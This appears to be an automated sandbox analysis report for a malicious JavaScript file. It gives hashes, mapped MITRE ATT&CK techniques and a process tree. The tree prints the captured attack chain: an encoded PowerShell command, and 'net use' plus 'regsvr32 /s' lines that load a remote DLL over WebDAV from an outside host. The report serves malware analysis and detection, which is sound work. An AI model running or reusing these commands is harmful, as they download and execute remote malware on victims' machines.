b3b2786208f527b5fa6176cf5d5048b2930c6e7dbe25a263d907f1b94925987f

Analysis

max time kernel
118s
max time network
121s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
25/07/2024, 19:14

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

44787834286229611.js
Size

17KB
MD5

147f519112374c5181c7fad071cabb6f
SHA1

ca1e2bcc9d9a52bcc14ff3fb25ef6b965871e9ce
SHA256

b3b2786208f527b5fa6176cf5d5048b2930c6e7dbe25a263d907f1b94925987f
SHA512

7e30abfd830e17dbdd50053779b308402358aea20175a067bc3d1d3b585825bbc83ebff4d99e1b536cffd79ad61141bdc94133ab6cdc0564497d378084aab50e
SSDEEP

192:K2DvtJ3XpG14kBX70hOlEK+MMZGHeKDpiinUyvp8RiJh6+iB:K2Dvjw1Zp70hOu5qeinfK

Score

6^/10

defense_evasion execution

Malware Config

Signatures

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
468	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	468	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 3032 wrote to memory of 468	3032	wscript.exe	31
PID 3032 wrote to memory of 468	3032	wscript.exe	31
PID 3032 wrote to memory of 468	3032	wscript.exe	31
PID 468 wrote to memory of 2248	468	powershell.exe	33
PID 468 wrote to memory of 2248	468	powershell.exe	33
PID 468 wrote to memory of 2248	468	powershell.exe	33
PID 468 wrote to memory of 2660	468	powershell.exe	34
PID 468 wrote to memory of 2660	468	powershell.exe	34
PID 468 wrote to memory of 2660	468	powershell.exe	34
PID 468 wrote to memory of 2660	468	powershell.exe	34
PID 468 wrote to memory of 2660	468	powershell.exe	34

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\44787834286229611.js
1⤵
- Suspicious use of WriteProcessMemory
PID:3032
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABjAGwAbwB1AGQAcwBsAGkAbQBpAHQALgBjAG8AbQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAIAA7ACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcAGMAbABvAHUAZABzAGwAaQBtAGkAdAAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAyADQANgA4ADkAMgAyADAANQA5ADMAMAA0ADQAMAAuAGQAbABsAA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:468
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\cloudslimit.com@8888\davwwwroot\
    3⤵
    PID:2248
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\cloudslimit.com@8888\davwwwroot\246892205930440.dll
    3⤵
    PID:2660

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/468-4-0x000007FEF645E000-0x000007FEF645F000-memory.dmp

Filesize
4KB

Download
memory/468-6-0x0000000001F40000-0x0000000001F48000-memory.dmp

Filesize
32KB

Download
memory/468-5-0x000000001B570000-0x000000001B852000-memory.dmp

Filesize
2.9MB

Download
memory/468-7-0x000007FEF61A0000-0x000007FEF6B3D000-memory.dmp

Filesize
9.6MB

Download
memory/468-8-0x000007FEF61A0000-0x000007FEF6B3D000-memory.dmp

Filesize
9.6MB

Download
memory/468-9-0x000007FEF61A0000-0x000007FEF6B3D000-memory.dmp

Filesize
9.6MB

Download
memory/468-11-0x000007FEF61A0000-0x000007FEF6B3D000-memory.dmp

Filesize
9.6MB

Download
memory/468-10-0x000007FEF61A0000-0x000007FEF6B3D000-memory.dmp

Filesize
9.6MB

Download